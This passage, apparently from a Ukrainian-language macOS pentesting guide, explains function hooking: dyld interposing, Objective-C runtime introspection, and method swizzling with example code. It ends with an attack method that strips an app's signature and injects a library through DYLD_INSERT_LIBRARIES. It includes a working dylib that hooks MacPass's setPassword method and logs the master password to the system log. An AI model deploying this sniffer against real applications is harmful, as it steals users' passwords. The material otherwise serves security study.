Створіть dylib з розділом __interpose (__DATA___interpose) (або розділом, позначеним як S_INTERPOSING), що містить кортежі вказівників на функції, які посилаються на оригінальні та замінні функції.
Змінна середовища DYLD_PRINT_INTERPOSTING може бути використана для налагодження перехоплення та виведе процес перехоплення.
Також слід зауважити, що перехоплення відбувається між процесом та завантаженими бібліотеками, воно не працює з кешем спільних бібліотек.
Динамічне перехоплення
Тепер також можливо динамічно перехопити функцію за допомогою функції dyld_dynamic_interpose. Це дозволяє програмно перехопити функцію під час виконання, а не лише з початку.
Достатньо вказати кортежі функції, яку потрібно замінити, та функції заміщення.
У ObjectiveC так викликається метод: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
Потрібен об'єкт, метод та параметри. І коли метод викликається, повідомлення відправляється за допомогою функції objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
Об'єкт - someObject, метод - @selector(method1p1:p2:), аргументи - value1, value2.
Слідуючи структурам об'єктів, можна дістатися до масиву методів, де імена та вказівники на код методу знаходяться.
Зверніть увагу, що оскільки методи та класи доступні за їхніми іменами, ця інформація зберігається в бінарному файлі, тому можливо отримати її за допомогою otool -ov </path/bin> або class-dump </path/bin>
Доступ до сирого методу
Можливо отримати інформацію про методи, таку як ім'я, кількість параметрів або адресу, як у наступному прикладі:
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
Зміна методу за допомогою method_exchangeImplementations
Функція method_exchangeImplementations дозволяє змінитиадресуреалізаціїоднієї функції на іншу.
Таким чином, коли викликається функція, виконується інша.
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
У цьому випадку, якщо код реалізації легітимного методу перевіряєім'я методу, він може виявити цей перехоплення та запобігти його виконанню.
Наступна техніка не має цього обмеження.
Перехоплення методу за допомогою method_setImplementation
Попередній формат дивний, оскільки ви змінюєте реалізацію 2 методів один на одного. Використовуючи функцію method_setImplementation, ви можете змінити реалізацію методу на інший.
Просто не забудьте зберегти адресу реалізації оригінального, якщо ви збираєтеся викликати його з нової реалізації перед її перезаписом, оскільки пізніше буде набагато складніше знайти цю адресу.
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
Методологія атаки за допомогою підключення
На цій сторінці обговорюються різні способи підключення функцій. Однак вони включають виконання коду всередині процесу для атаки.
Проте обидва варіанти обмеженінезахищеними бінарними файлами/процесами. Перевірте кожну техніку, щоб дізнатися більше про обмеження.
Проте атака за допомогою підключення функцій є дуже конкретною, зловмисник буде робити це, щоб викрасти чутливу інформацію зсередини процесу (якщо цього не зробити, то ви просто здійснюєте атаку впровадження процесу). І ця чутлива інформація може бути розміщена в завантажених користувачем додатках, таких як MacPass.
Таким чином, вектор атаки зловмисника буде полягати в тому, щоб знайти вразливість або зняти підпис програми, впровадити змінну середовища DYLD_INSERT_LIBRARIES через Info.plist програми, додавши щось на зразок:
Додайте до цієї бібліотеки код підвищення привілеїв для витікання інформації: паролі, повідомлення...
Зверніть увагу, що в новіших версіях macOS, якщо ви видалите підпис з бінарного файлу програми і він вже виконувався раніше, macOS більше не буде виконувати програму.
Приклад бібліотеки
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}